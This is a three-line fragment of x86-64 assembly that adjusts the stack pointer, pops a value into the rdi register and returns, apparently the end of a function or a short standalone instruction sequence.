add rsp, 0x20
pop rdi
ret